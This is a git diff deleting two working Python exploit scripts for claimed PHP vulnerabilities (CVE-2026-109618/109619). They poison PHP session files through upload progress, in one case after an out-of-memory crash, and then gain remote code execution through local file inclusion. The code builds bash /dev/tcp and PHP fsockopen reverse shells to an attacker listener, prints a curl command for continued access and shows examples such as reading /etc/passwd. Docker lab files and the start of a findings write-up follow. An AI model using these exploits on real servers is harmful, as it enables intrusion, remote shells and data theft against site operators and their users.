sock.sendall(f"{len(data):x}\r\n".encode() + data + b"\r\n") - -def recv_all(sock, timeout=10): - resp = b"" - sock.settimeout(timeout) - try: - while True: - d = sock.recv(8192) - if not d: - break - resp += d - except socket.timeout: - pass - return resp - -def http_get(host, port, tls, path, timeout=10): - sock = tcp_connect(host, port, tls, timeout) - sock.sendall( - b"GET " + path.encode() + b" HTTP/1.1\r\n" - b"Host: " + host.encode() + b"\r\n" - b"Connection: close\r\n\r\n" - ) - resp = recv_all(sock, timeout) - sock.close() - return resp - -def status_code(resp): - try: - return int(resp.split(b" ")[1]) - except: - return 0 - -def body_of(resp): - if b"\r\n\r\n" not in resp: - return resp - hdr, raw = resp.split(b"\r\n\r\n", 1) - if b"transfer-encoding: chunked" in hdr.lower(): - out = b"" - data = raw - while data: - nl = data.find(b"\r\n") - if nl < 0: - break - try: - clen = int(data[:nl].split(b";")[0].strip(), 16) - except ValueError: - break - if clen == 0: - break - out += data[nl+2:nl+2+clen] - data = data[nl+2+clen+2:] - return out - return raw - -# ─── Phase 1: poison session + crash worker ────────────────────────── - -def phase1(host, port, tls, path, bnd, sid, php_code, fields, fsize, - chunked=True): - """Send multipart: upload progress + file + OOM fields. - - Returns (http_status_or_0, fields_sent_before_crash). - - When chunked=False, builds full body with Content-Length. Required - when nginx has fastcgi_request_buffering off — chunked bodies bypass - PHP's multipart parser in that configuration. - """ - if not chunked: - return _phase1_contentlength(host, port, tls, path, bnd, sid, - php_code, fields, fsize) - - sock = tcp_connect(host, port, tls) - sock.sendall( - b"POST " + path.encode() + b" HTTP/1.1\r\n" - b"Host: " + host.encode() + b"\r\n" - b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n" - b"Transfer-Encoding: chunked\r\n" - b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n" - b"Connection: close\r\n\r\n" - ) - - # 1. PHP_SESSION_UPLOAD_PROGRESS — value becomes session key suffix - send_chunk(sock, mp_field(bnd, b"PHP_SESSION_UPLOAD_PROGRESS", php_code)) - # 2. File upload — triggers progress handler, session flushed to disk - send_chunk(sock, mp_file(bnd, b"file", b"x.bin", b"\x00" * 4096)) - # 3. Pressure fields — OOM during parsing before MULTIPART_EVENT_END - sent = 0 - for start in range(0, fields, BATCH): - end = min(start + BATCH, fields) - batch = b"" - for i in range(start, end): - batch += mp_field(bnd, f"p{i:06d}".encode(), b"X" * fsize) - try: - send_chunk(sock, batch) - sent = end - except (BrokenPipeError, ConnectionResetError, OSError): - break - try: - send_chunk(sock, mp_end(bnd)) - sock.sendall(b"0\r\n\r\n") - except: - pass - - resp = recv_all(sock, timeout=5) - sock.close() - return status_code(resp), sent - - -def _phase1_contentlength(host, port, tls, path, bnd, sid, php_code, - fields, fsize): - """Content-Length variant — builds the full body then sends it.""" - body = b"" - body += mp_field(bnd, b"PHP_SESSION_UPLOAD_PROGRESS", php_code) - body += mp_file(bnd, b"file", b"x.bin", b"\x00" * 4096) - for i in range(fields): - body += mp_field(bnd, f"p{i:06d}".encode(), b"X" * fsize) - body += mp_end(bnd) - - sock = tcp_connect(host, port, tls) - sock.sendall( - b"POST " + path.encode() + b" HTTP/1.1\r\n" - b"Host: " + host.encode() + b"\r\n" - b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n" - b"Content-Length: " + str(len(body)).encode() + b"\r\n" - b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n" - b"Connection: close\r\n\r\n" - ) - - try: - sock.sendall(body) - except (BrokenPipeError, ConnectionResetError, OSError): - pass - - resp = recv_all(sock, timeout=5) - sock.close() - return status_code(resp), fields - -# ─── Phase 2: LFI include of session file ─────────────────────────── - -def phase2(host, port, tls, path, sid, session_paths, lfi_param): - """Try including the session file via common paths.""" - for sp in session_paths: - sess = f"{sp}/sess_{sid}" - url = f"{path}?{lfi_param}={sess}" - try: - resp = http_get(host, port, tls, url, timeout=10) - rbody = body_of(resp) - if b"CVE2026:" in rbody or b"upload_progress_" in rbody: - return resp, sess - except: - continue - return None, None - -# ─── main ──────────────────────────────────────────────────────────── - -def run(args): - p = urlparse(args.target) - tls = p.scheme == "https" - host = p.hostname or "127.0.0.1" - port = p.port or (443 if tls else 80) - path = p.path or "/" - - sid = args.session_id or os.urandom(16).hex() - bnd = b"----CVE2026OOM" + os.urandom(8).hex().encode() - spaths = list(SESSION_PATHS) - if args.session_path: - spaths = [args.session_path] + [s for s in spaths if s != args.session_path] - - # Build PHP payload - if args.trigger_only: - php_code = b'' - elif args.cmd: - cmd_b64 = base64.b64encode(args.cmd.encode()).decode() - php_code = f''.encode() - elif args.lhost and args.lport: - shell = f"bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1'" - cmd_b64 = base64.b64encode(shell.encode()).decode() - php_code = f''.encode() - else: - print("[!] Specify --cmd, --lhost/--lport, or --trigger-only", file=sys.stderr) - sys.exit(1) - - print("=" * 65) - print(" CVE-2026-109618: PHP Multipart OOM → Session Poisoning → RCE") - print("=" * 65) - print(f" Target : {args.target}") - print(f" Session ID : {sid}") - print(f" LFI param : {args.lfi_param}") - print(f" Fields : {args.fields} × {args.field_size}B") - if args.cmd: - print(f" Command : {args.cmd}") - elif args.lhost: - print(f" Reverse sh : {args.lhost}:{args.lport}") - print() - - # ── Phase 0: verify target ── - print("[*] Phase 0: checking target...") - try: - r0 = http_get(host, port, tls, path, timeout=5) - sc = status_code(r0) - if sc == 0: - raise ConnectionError("no response") - print(f" HTTP {sc} — target alive") - except Exception as e: - print(f" [!] Not reachable: {e}") - sys.exit(1) - - # ── Phase 1: poison session + crash ── - print() - print("[*] Phase 1: session poisoning + OOM crash") - print(f" Injecting {len(php_code)}B PHP code into session key...") - - use_chunked = not args.no_chunked - if not use_chunked: - print(f" Using Content-Length mode (required for fastcgi_request_buffering off)") - status, fields_sent = phase1( - host, port, tls, path, bnd, sid, - php_code, args.fields, args.field_size, - chunked=use_chunked, - ) - - if status == 502 or status == 0: - print(f" [+] Worker crashed (HTTP {status or 'reset'})") - print(f" OOM after ~{fields_sent} fields — bailout skipped session cleanup") - elif status == 500: - print(f" [+] HTTP 500 — OOM during script (worker survived)") - else: - print(f" [!] HTTP {status} — may not have OOMed; try increasing --fields") - - # Wait for new worker - print(" Waiting for new worker...") - time.sleep(1.5) - for i in range(8): - try: - r1 = http_get(host, port, tls, path, timeout=3) - sc1 = status_code(r1) - if sc1 in (200, 301, 302, 403, 404): - print(f" New worker ready (HTTP {sc1})") - break - except: - pass - time.sleep(1) - else: - print(" [!] New worker not available after 8 retries") - sys.exit(1) - - # ── Phase 2: LFI trigger ── - print() - print("[*] Phase 2: including poisoned session file via LFI...") - - resp, sess_path = phase2(host, port, tls, path, sid, spaths, args.lfi_param) - - if resp is None: - print(" [!] Session file not found at any common path") - print(f" Try: --session-path /actual/path") - print(f" File: sess_{sid}") - sys.exit(1) - - output = body_of(resp).decode(errors="replace") - print(f" Session file: {sess_path}") - - if args.trigger_only: - m = re.search(r"CVE2026:TRIGGERED:(.+?)(?:\||$)", output) - if m: - print() - print(f"[+] Code execution confirmed!") - print(f" {m.group(1)}") - else: - print(f" [*] Session file exists but code may not have executed") - print(f" Response: {output[:200]}") - return - - if args.cmd: - m = re.search(r"CVE2026:(.*?):END", output, re.DOTALL) - if m: - result = m.group(1).strip() - else: - result = output.split("upload_progress_")[0] if "upload_progress_" in output else output[:500] - result = re.sub(r"\r?\npid=\d+.*", "", result, flags=re.DOTALL).strip() - result = re.sub(r"\r?\n\d+\s*$", "", result).strip() - - print() - print("[+] ═══════════════ RCE OUTPUT ═══════════════") - print(result) - print("[+] ══════════════════════════════════════════") - print() - print("[+] RCE achieved via CVE-2026-109618!") - print() - print("[*] For continued access:") - cmd_b64 = base64.b64encode(b"id").decode() - print(f" curl '{args.target}?{args.lfi_param}={sess_path}&c={cmd_b64}'") - else: - print() - print(f"[+] Payload delivered — check listener at {args.lhost}:{args.lport}") - print(f"[*] Session file for re-exploitation: {sess_path}") - - -def main(): - ap = argparse.ArgumentParser( - description="CVE-2026-109618: PHP multipart OOM → session poisoning → RCE", - formatter_class=argparse.RawDescriptionHelpFormatter, - epilog=""" -Examples: - %(prog)s -t http://target/app.php --cmd 'id' - %(prog)s -t http://target/app.php --lhost 10.0.0.1 --lport 4444 - %(prog)s -t http://target/app.php --trigger-only - %(prog)s -t http://target/app.php --cmd 'cat /etc/passwd' \\ - --session-path /var/lib/php/sessions --lfi-param tpl -""") - ap.add_argument("-t", "--target", required=True, help="Target URL") - ap.add_argument("--cmd", help="Command to execute") - ap.add_argument("--lhost", help="Reverse shell listener IP") - ap.add_argument("--lport", type=int, help="Reverse shell listener port") - ap.add_argument("--trigger-only", action="store_true", - help="Confirm vuln without RCE payload") - ap.add_argument("--session-path", - help="session.save_path on target (default: common paths)") - ap.add_argument("--session-id", - help="Force PHPSESSID (default: random hex)") - ap.add_argument("--lfi-param", default="page", - help="LFI query parameter (default: page)") - ap.add_argument("--fields", type=int, default=FIELD_COUNT, - help=f"Pressure fields for OOM (default: {FIELD_COUNT})") - ap.add_argument("--field-size", type=int, default=FIELD_SIZE, - help=f"Bytes per field (default: {FIELD_SIZE})") - ap.add_argument("--no-chunked", action="store_true", - help="Use Content-Length instead of chunked encoding " - "(required when nginx has fastcgi_request_buffering off)") - args = ap.parse_args() - run(args) - - -if __name__ == "__main__": - main() diff --git a/cve-2026-109618/vulnerable.php b/cve-2026-109618/vulnerable.php deleted file mode 100644 index 20872f1..0000000 --- a/cve-2026-109618/vulnerable.php +++ /dev/null @@ -1,11 +0,0 @@ -/sess_ - -Common default paths: - /tmp/sess_* - /var/lib/php/sessions/sess_* - -Exploitation: - 1. Send a multipart POST with PHP_SESSION_UPLOAD_PROGRESS containing - embedded PHP code: - 2. The upload progress callback writes this to the session file. - 3. Include the session file via any local-file-include vector: - - Direct include() / require() with attacker-controlled path - - PHP stream wrappers (php://filter) - - Log/session file inclusion (a classic PHP attack) - 4. The PHP engine parses the session file, finds the tag - within the serialized data, and executes the injected code. - -The exploit automates all steps: it obtains a session ID, injects code -via upload progress, and triggers inclusion for RCE. - -Requirements ------------- -- session.upload_progress.enabled = 1 (ON by default in all PHP builds) -- session.serialize_handler = php (default) -- Target endpoint calls session_start() -- An LFI vector OR known session save path + include primitive -- Tested on PHP 8.0–8.4 x86_64 Linux - -Usage ------ - # Reverse shell via LFI - python3 exploit.py --target http://target/app.php \\ - --lfi-param page \\ - --session-path /tmp \\ - --lhost 10.0.0.1 --lport 4444 - - # Trigger-only (write code to session, report path) - python3 exploit.py --target http://target/app.php --trigger-only - - # Custom command - python3 exploit.py --target http://target/app.php \\ - --lfi-param page --session-path /tmp \\ - --cmd "id > /tmp/pwned" -""" - -import argparse -import io -import os -import socket -import sys -import time -import re -import threading - -# --------------------------------------------------------------------------- -# Config -# --------------------------------------------------------------------------- - -BOUNDARY = b"----CVE2026109619" + os.urandom(8).hex().encode() -PROGRESS_FIELD = b"PHP_SESSION_UPLOAD_PROGRESS" - -DEFAULT_SESSION_PATHS = [ - "/tmp", - "/tmp/php-sessions", - "/var/lib/php/sessions", - "/var/lib/php5/sessions", - "/var/lib/php/session", -] - -# --------------------------------------------------------------------------- -# Multipart helpers -# --------------------------------------------------------------------------- - -def multipart_field(name: bytes, value: bytes) -> bytes: - return ( - b"--" + BOUNDARY + b"\r\n" - b'Content-Disposition: form-data; name="' + name + b'"\r\n' - b"\r\n" + value + b"\r\n" - ) - -def multipart_file(name: bytes, filename: bytes, content: bytes, - content_type: bytes = b"application/octet-stream") -> bytes: - return ( - b"--" + BOUNDARY + b"\r\n" - b'Content-Disposition: form-data; name="' + name - + b'"; filename="' + filename + b'"\r\n' - b"Content-Type: " + content_type + b"\r\n" - b"\r\n" + content + b"\r\n" - ) - -def multipart_end() -> bytes: - return b"--" + BOUNDARY + b"--\r\n" - -# --------------------------------------------------------------------------- -# Payload construction -# --------------------------------------------------------------------------- - -def make_php_payload(cmd: str) -> bytes: - """Craft PHP code to inject into the session file via progress key. - The code is embedded in the progress key prefix, so it ends up as: - upload_progress_ - in the session file. When the file is included, PHP parses and - executes the block.""" - return f''.encode() - -def make_reverse_shell_payload(lhost: str, lport: int) -> bytes: - cmd = ( - f"$sock=fsockopen('{lhost}',{lport});" - f"$proc=proc_open('/bin/sh',array(0=>$sock,1=>$sock,2=>$sock),$pipes);" - ) - return make_php_payload(cmd) - -def make_cmd_payload(cmd: str) -> bytes: - return make_php_payload(f'system("{cmd}");') - -# --------------------------------------------------------------------------- -# HTTP helpers (raw sockets for precision) -# --------------------------------------------------------------------------- - -def _parse_url(url: str): - from urllib.parse import urlparse - p = urlparse(url) - tls = p.scheme == "https" - host = p.hostname or "127.0.0.1" - port = p.port or (443 if tls else 80) - path = p.path or "/" - if p.query: - path += "?" + p.query - return host, port, tls, path - -def _connect(host: str, port: int, tls: bool): - sock = socket.create_connection((host, port), timeout=10) - if tls: - import ssl - ctx = ssl.create_default_context() - ctx.check_hostname = False - ctx.verify_mode = ssl.CERT_NONE - sock = ctx.wrap_socket(sock, server_hostname=host) - return sock - -def _recv_response(sock, timeout=5) -> bytes: - resp = b"" - sock.settimeout(timeout) - try: - while True: - chunk = sock.recv(8192) - if not chunk: - break - resp += chunk - if b"\r\n\r\n" in resp: - hdr_end = resp.index(b"\r\n\r\n") + 4 - headers = resp[:hdr_end] - # Check Content-Length - m = re.search(rb'Content-Length:\s*(\d+)', headers, re.I) - if m: - cl = int(m.group(1)) - body_so_far = len(resp) - hdr_end - while body_so_far < cl: - more = sock.recv(8192) - if not more: - break - resp += more - body_so_far += len(more) - break - # Check chunked - if b'Transfer-Encoding: chunked' in headers: - if b"\r\n0\r\n" in resp: - break - continue - # No CL, no chunked — read until timeout - try: - more = sock.recv(4096) - if more: - resp += more - except socket.timeout: - pass - break - except socket.timeout: - pass - return resp - -def _send_http(sock, method: bytes, host: str, path: str, - body: bytes = b"", headers: dict = None, - content_type: bytes = None, keepalive: bool = True) -> bytes: - conn = b"keep-alive" if keepalive else b"close" - req = method + b" " + path.encode() + b" HTTP/1.1\r\n" - req += b"Host: " + host.encode() + b"\r\n" - if content_type: - req += b"Content-Type: " + content_type + b"\r\n" - if body: - req += b"Content-Length: " + str(len(body)).encode() + b"\r\n" - req += b"Connection: " + conn + b"\r\n" - if headers: - for k, v in headers.items(): - req += f"{k}: {v}\r\n".encode() - req += b"\r\n" - sock.sendall(req + body) - return _recv_response(sock) - -def _extract_cookies(resp: bytes) -> dict: - cookies = {} - for line in resp.split(b"\r\n"): - if line.lower().startswith(b"set-cookie:"): - cookie_str = line.split(b":", 1)[1].strip() - kv = cookie_str.split(b";")[0] - if b"=" in kv: - k, v = kv.split(b"=", 1) - cookies[k.strip().decode()] = v.strip().decode() - return cookies - -def _decode_chunked(data: bytes) -> bytes: - out = b"" - while data: - line_end = data.find(b"\r\n") - if line_end < 0: - break - size_str = data[:line_end].split(b";")[0].strip() - try: - chunk_len = int(size_str, 16) - except ValueError: - break - if chunk_len == 0: - break - start = line_end + 2 - out += data[start:start + chunk_len] - data = data[start + chunk_len + 2:] - return out - -def _extract_body(resp: bytes) -> bytes: - if b"\r\n\r\n" not in resp: - return b"" - headers, body = resp.split(b"\r\n\r\n", 1) - if b"transfer-encoding: chunked" in headers.lower(): - return _decode_chunked(body) - return body - -def _status_code(resp: bytes) -> int: - try: - return int(resp.split(b" ")[1]) - except (IndexError, ValueError): - return 0 - -# --------------------------------------------------------------------------- -# Exploit phases -# --------------------------------------------------------------------------- - -def phase1_get_session(sock, host, path) -> str: - """Get a valid PHPSESSID from the target.""" - resp = _send_http(sock, b"GET", host, path) - cookies = _extract_cookies(resp) - sid = cookies.get("PHPSESSID") - if not sid: - body = _extract_body(resp) - m = re.search(rb'sid=([a-zA-Z0-9,-]+)', body) - if m: - sid = m.group(1).decode() - return sid - -def phase2_inject(sock, host, path, session_id: str, - php_code: bytes) -> tuple: - """Inject PHP code into the session file via upload progress.""" - body = io.BytesIO() - - # The PHP_SESSION_UPLOAD_PROGRESS field MUST come before any file - # fields — PHP processes form fields in order and initialises the - # progress tracker when it sees this field. - body.write(multipart_field(PROGRESS_FIELD, php_code)) - - # A file upload is required to trigger the progress write-back. - # The callback only writes progress data on FILE_START/DATA/END events. - body.write(multipart_file( - b"file", b"payload.bin", - b"\x00" * 8192, - )) - - body.write(multipart_end()) - body_bytes = body.getvalue() - - ct = b"multipart/form-data; boundary=" + BOUNDARY - resp = _send_http( - sock, b"POST", host, path, - body=body_bytes, - content_type=ct, - headers={"Cookie": f"PHPSESSID={session_id}"}, - keepalive=True, - ) - return _status_code(resp), _extract_body(resp) - -def phase2_inject_slow(host, port, tls, path, session_id, php_code, duration=5.0): - """Send a slow multipart upload to keep session file populated. - - Used for race condition against cleanup=1: the session file contains - our PHP code during the entire upload. A concurrent request can - include it via LFI before cleanup runs at MULTIPART_EVENT_END. - """ - bnd = b"----SLOW" + os.urandom(4).hex().encode() - sock = _connect(host, port, tls) - - # Build progress field + start of file upload - head = b"" - head += (b"--" + bnd + b"\r\n" - b'Content-Disposition: form-data; name="' + PROGRESS_FIELD + b'"\r\n' - b"\r\n" + php_code + b"\r\n") - head += (b"--" + bnd + b"\r\n" - b'Content-Disposition: form-data; name="file"; filename="slow.bin"\r\n' - b"Content-Type: application/octet-stream\r\n\r\n") - - file_size = 1024 * 1024 - tail = b"\r\n--" + bnd + b"--\r\n" - total_body = len(head) + file_size + len(tail) - - req = ( - b"POST " + path.encode() + b" HTTP/1.1\r\n" - b"Host: " + host.encode() + b"\r\n" - b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n" - b"Content-Length: " + str(total_body).encode() + b"\r\n" - b"Cookie: PHPSESSID=" + session_id.encode() + b"\r\n" - b"Connection: close\r\n\r\n" - ) - sock.sendall(req + head) - - chunk = b"\x00" * 4096 - sent = 0 - start_time = time.time() - try: - while sent < file_size and (time.time() - start_time) < duration: - to_send = min(4096, file_size - sent) - sock.sendall(chunk[:to_send]) - sent += to_send - time.sleep(0.05) - sock.sendall(tail) - except (BrokenPipeError, ConnectionResetError, OSError): - pass - try: - _recv_response(sock, timeout=2) - except: - pass - sock.close() - - -def phase3_include(sock, host, path, session_id: str, - session_path: str, lfi_param: str) -> tuple: - """Trigger LFI to include the poisoned session file.""" - sess_file = f"{session_path}/sess_{session_id}" - inc_path = f"{path}?{lfi_param}={sess_file}" - - resp = _send_http( - sock, b"GET", host, inc_path, - headers={"Cookie": f"PHPSESSID={session_id}"}, - keepalive=False, - ) - return _status_code(resp), _extract_body(resp) - -# --------------------------------------------------------------------------- -# Session path discovery -# --------------------------------------------------------------------------- - -def discover_session_path(sock, host, path, session_id: str, - lfi_param: str, paths: list) -> str: - """Try common session save paths to find the right one.""" - for sp in paths: - sess_file = f"{sp}/sess_{session_id}" - inc_path = f"{path}?{lfi_param}={sess_file}" - resp = _send_http( - sock, b"GET", host, inc_path, - headers={"Cookie": f"PHPSESSID={session_id}"}, - keepalive=True, - ) - body = _extract_body(resp) - status = _status_code(resp) - if status == 200 and (b"sid=" in body or b"upload_progress" in body): - return sp - return "" - -# --------------------------------------------------------------------------- -# Main -# --------------------------------------------------------------------------- - -def run(target: str, lhost: str, lport: int, trigger_only: bool, - cmd: str, lfi_param: str, session_path: str, attempts: int, - race: bool = False): - - host, port, tls, path = _parse_url(target) - - print(f"[*] CVE-2026-109619: PHP session upload progress RCE") - print(f"[*] Target: {target}") - if trigger_only: - print(f"[*] Mode: trigger-only (inject code, report path)") - elif cmd: - print(f"[*] Mode: command execution") - print(f"[*] Command: {cmd}") - else: - print(f"[*] Mode: reverse shell → {lhost}:{lport}") - if race: - print(f"[*] Race: enabled (works with cleanup=1)") - print() - - # Build payload - if trigger_only: - php_code = b'' - elif cmd: - cmd_safe = cmd.replace('"', '\\"') - php_code = f''.encode() - else: - if not lhost or not lport: - print("[!] --lhost and --lport required for reverse shell mode") - sys.exit(1) - php_code = make_reverse_shell_payload(lhost, lport) - - # Race condition mode: send slow upload + concurrent LFI - if race and lfi_param: - return _run_race(host, port, tls, path, php_code, lfi_param, - session_path, cmd, lhost, lport, trigger_only, attempts) - - for attempt in range(1, attempts + 1): - if attempts > 1: - print(f"[*] === Attempt {attempt}/{attempts} ===") - - sock = _connect(host, port, tls) - - # Phase 1: Get session ID - print("[*] Phase 1: Obtaining session ID...") - sid = phase1_get_session(sock, host, path) - if not sid: - sid = os.urandom(13).hex() - print(f"[!] Could not extract PHPSESSID, using generated: {sid}") - else: - print(f"[+] PHPSESSID: {sid}") - - # Phase 2: Inject PHP code via upload progress - print(f"[*] Phase 2: Injecting PHP code via upload progress...") - print(f" Payload: {php_code[:80].decode(errors='replace')}{'...' if len(php_code) > 80 else ''}") - status, body = phase2_inject(sock, host, path, sid, php_code) - print(f" Response: HTTP {status}") - - if status == 200: - print("[+] Upload progress request accepted — code injected into session file") - elif status == 502: - print("[!] 502 — worker crashed. Retrying...") - sock.close() - time.sleep(0.5) - continue - else: - print(f"[!] Unexpected status {status}") - - if trigger_only: - print() - print("[+] Session file poisoned successfully.") - print(f"[*] Session ID: {sid}") - print(f"[*] The session file contains injected PHP code.") - print(f"[*] Common session file locations:") - for sp in DEFAULT_SESSION_PATHS: - print(f" {sp}/sess_{sid}") - print() - print("[*] To verify, include the session file via LFI:") - print(f" curl 'http://target/vuln.php?page=/tmp/sess_{sid}'") - print(f" curl 'http://target/vuln.php?page=/var/lib/php/sessions/sess_{sid}'") - print() - print("[*] Or check the file directly on the target server:") - print(f" cat /tmp/sess_{sid}") - print(f" strings /var/lib/php/sessions/sess_{sid}") - sock.close() - return True - - # Phase 3: Trigger inclusion - if not lfi_param: - print() - print("[+] Code injected. No --lfi-param specified for auto-inclusion.") - print(f"[*] Trigger manually: include the session file via LFI") - print(f" {target}?PARAM={session_path}/sess_{sid}") - sock.close() - return True - - print(f"[*] Phase 3: Triggering session file inclusion via '{lfi_param}' param...") - - if not session_path: - print("[*] No --session-path given, trying common paths...") - session_path = discover_session_path( - sock, host, path, sid, lfi_param, DEFAULT_SESSION_PATHS) - if session_path: - print(f"[+] Found session path: {session_path}") - else: - print("[!] Could not auto-detect session path. Try --session-path") - sock.close() - continue - - # Need a fresh connection (the POST consumed the keepalive) - try: - status, body = phase3_include(sock, host, path, sid, session_path, lfi_param) - except (BrokenPipeError, ConnectionResetError, OSError): - sock.close() - sock = _connect(host, port, tls) - status, body = phase3_include(sock, host, path, sid, session_path, lfi_param) - - print(f" Response: HTTP {status}") - body_text = body.decode(errors='replace') - - if "CVE-2026-109619:" in body_text: - # Trigger-only canary found in output - marker = body_text[body_text.index("CVE-2026-109619:"):] - marker = marker.split("|")[0].split("\x00")[0][:200] - print(f"[+] CODE EXECUTION CONFIRMED!") - print(f" Output: {marker}") - sock.close() - return True - elif cmd and status == 200: - m = re.search(r"CVE2026:(.*?):END", body_text, re.DOTALL) - if m: - output = m.group(1).strip() - print() - print("[+] ═══════════════ RCE OUTPUT ═══════════════") - print(output) - print("[+] ══════════════════════════════════════════") - print(f"\n[+] RCE achieved via CVE-2026-109619!") - sock.close() - return True - elif "upload_progress_" in body_text: - print(f"[+] Session file included but code may not have executed") - print(f" (serialized session data visible in response)") - sock.close() - return True - else: - print(f"[!] Inclusion did not produce expected output. Body preview:") - print(f" {body_text[:300]}") - elif not cmd and not trigger_only and status == 200: - print(f"[*] Request sent — check listener on {lhost}:{lport}") - sock.close() - return True - else: - print(f"[!] Inclusion may have failed. Body preview:") - print(f" {body_text[:200]}") - - sock.close() - print() - - print() - if trigger_only: - print("[*] Done. Session file was poisoned — verify via LFI or file access.") - elif cmd or (lhost and lport): - print("[*] Done. If RCE did not fire, check:") - print(" - session.upload_progress.enabled = 1") - print(" - session.serialize_handler = php (default)") - print(" - LFI parameter name (--lfi-param)") - print(" - Session save path (--session-path)") - return False - -def _run_race(host, port, tls, path, php_code, lfi_param, - session_path, cmd, lhost, lport, trigger_only, attempts): - """Race condition mode: works with session.upload_progress.cleanup=1. - - Sends a slow multipart upload to keep the session file populated with - our PHP code, while concurrently trying to include it via LFI. - """ - spaths = [session_path] if session_path else list(DEFAULT_SESSION_PATHS) - - for attempt in range(1, attempts + 1): - if attempts > 1: - print(f"[*] === Attempt {attempt}/{attempts} ===") - - sid = os.urandom(16).hex() - print(f"[+] Session ID: {sid}") - - # Start slow upload in background thread - print("[*] Starting slow upload (keeps session file alive)...") - upload_thread = threading.Thread( - target=phase2_inject_slow, - args=(host, port, tls, path, sid, php_code, 8.0), - daemon=True, - ) - upload_thread.start() - time.sleep(0.3) - - # Race: try LFI repeatedly while upload is in progress - # Use a DIFFERENT session ID for LFI to avoid blocking on session file lock - lfi_sid = os.urandom(16).hex() - print("[*] Racing LFI requests against upload...") - hit = False - for i in range(100): - if not upload_thread.is_alive(): - break - for sp in spaths: - sess_file = f"{sp}/sess_{sid}" - url = f"{path}?{lfi_param}={sess_file}" - try: - sock = _connect(host, port, tls) - resp = _send_http( - sock, b"GET", host, url, - headers={"Cookie": f"PHPSESSID={lfi_sid}"}, - keepalive=False, - ) - sock.close() - body = _extract_body(resp) - body_text = body.decode(errors="replace") - - if "CVE-2026-109619:" in body_text or "CVE2026:" in body_text: - hit = True - if "CVE-2026-109619:" in body_text: - marker = body_text[body_text.index("CVE-2026-109619:"):] - marker = marker.split("|")[0][:200] - print(f"\n[+] CODE EXECUTION CONFIRMED (race won, attempt {i+1})") - print(f" {marker}") - elif "CVE2026:" in body_text: - m = re.search(r"CVE2026:(.*?):END", body_text, re.DOTALL) - if m: - result = m.group(1).strip() - else: - result = body_text.split("upload_progress_")[0] if "upload_progress_" in body_text else body_text[:500] - print(f"\n[+] ═══════ RCE OUTPUT (race won, attempt {i+1}) ═══════") - print(result) - print("[+] ═════════════════════════════════════════════") - print(f"\n[+] RCE achieved via CVE-2026-109619!") - return True - elif b"upload_progress_" in body: - print(f" [+] Session file found at {sp} — content visible") - if trigger_only: - print(f"[+] Session poisoning confirmed (race won)") - return True - except: - pass - time.sleep(0.02) - - upload_thread.join(timeout=2) - - if hit: - return True - print(f" Race lost on attempt {attempt}") - - print("[!] Race condition failed after all attempts") - print(" Try: --attempts 10 or check --session-path") - return False - - -def main(): - p = argparse.ArgumentParser( - description="CVE-2026-109619: PHP session upload progress → RCE", - formatter_class=argparse.RawDescriptionHelpFormatter, - epilog=""" -Examples: - %(prog)s -t http://target/app.php --cmd 'id' --lfi-param page --session-path /tmp - %(prog)s -t http://target/app.php --lhost 10.0.0.1 --lport 4444 --lfi-param page - %(prog)s -t http://target/app.php --trigger-only - %(prog)s -t http://target/app.php --cmd 'id' --lfi-param page --race -""") - p.add_argument("--target", "-t", required=True, - help="Target URL (PHP endpoint with session_start())") - p.add_argument("--lhost", help="Listener IP for reverse shell") - p.add_argument("--lport", type=int, help="Listener port for reverse shell") - p.add_argument("--cmd", help="Command to execute (alternative to reverse shell)") - p.add_argument("--trigger-only", action="store_true", - help="Inject code into session file only — no inclusion/RCE") - p.add_argument("--lfi-param", default="", - help="Query parameter for LFI (e.g., 'page', 'file', 'template')") - p.add_argument("--session-path", default="", - help="session.save_path on target (e.g., /tmp, /var/lib/php/sessions)") - p.add_argument("--race", action="store_true", - help="Race condition mode — works with cleanup=1 (default config)") - p.add_argument("--attempts", type=int, default=3, - help="Number of attempts (default 3)") - args = p.parse_args() - - if not args.trigger_only and not args.cmd and not args.lhost: - print("[!] Specify --trigger-only, --cmd, or --lhost/--lport") - sys.exit(1) - - run(args.target, args.lhost, args.lport, args.trigger_only, - args.cmd, args.lfi_param, args.session_path, args.attempts, - race=args.race) - -if __name__ == "__main__": - main() diff --git a/cve-2026-109619/vulnerable.php b/cve-2026-109619/vulnerable.php deleted file mode 100644 index 921f8a9..0000000 --- a/cve-2026-109619/vulnerable.php +++ /dev/null @@ -1,9 +0,0 @@ - + StartServers 1 + MinSpareServers 1 + MaxSpareServers 1 + MaxRequestWorkers 1 + MaxConnectionsPerChild 0 + diff --git a/docker/docker-compose.yml b/docker/docker-compose.yml new file mode 100644 index 0000000..6046ac7 --- /dev/null +++ b/docker/docker-compose.yml @@ -0,0 +1,21 @@ +services: + target: + image: php:8.4.26-apache + container_name: php2shell-uaf-target + ports: + - "127.0.0.1:8089:80" + volumes: + - ./php.ini:/usr/local/etc/php/php.ini:ro + - ./apache-prefork.conf:/etc/apache2/mods-available/mpm_prefork.conf:ro + - ./html:/var/www/html:rw + restart: unless-stopped + + stock: + image: php:8.4.26-apache + container_name: php2shell-uaf-stock + ports: + - "127.0.0.1:8093:80" + volumes: + - ./apache-prefork.conf:/etc/apache2/mods-available/mpm_prefork.conf:ro + - ./html:/var/www/html:ro + restart: unless-stopped diff --git a/uaf-rce/docker/html/index.php b/docker/html/index.php similarity index 100% rename from uaf-rce/docker/html/index.php rename to docker/html/index.php diff --git a/uaf-rce/docker/php-deoff-8m.ini b/docker/php-deoff-8m.ini similarity index 100% rename from uaf-rce/docker/php-deoff-8m.ini rename to docker/php-deoff-8m.ini diff --git a/uaf-rce/docker/php-deoff.ini b/docker/php-deoff.ini similarity index 100% rename from uaf-rce/docker/php-deoff.ini rename to docker/php-deoff.ini diff --git a/uaf-rce/docker/php.ini b/docker/php.ini similarity index 100% rename from uaf-rce/docker/php.ini rename to docker/php.ini diff --git a/fcgi/FINDINGS.md b/fcgi/FINDINGS.md deleted file mode 100644 index 595ef46..0000000 --- a/fcgi/FINDINGS.md +++ /dev/null @@ -1,128 +0,0 @@ -# RCE via FastCGI + Session Upload Progress (No LFI) - -## Summary - -When an attacker can reach PHP-FPM's FastCGI socket (TCP or unix), the -session upload progress write primitive from CVE-2026-109618 / -CVE-2026-109619 becomes RCE without any application-level vulnerability. - -No LFI needed. No framework needed. 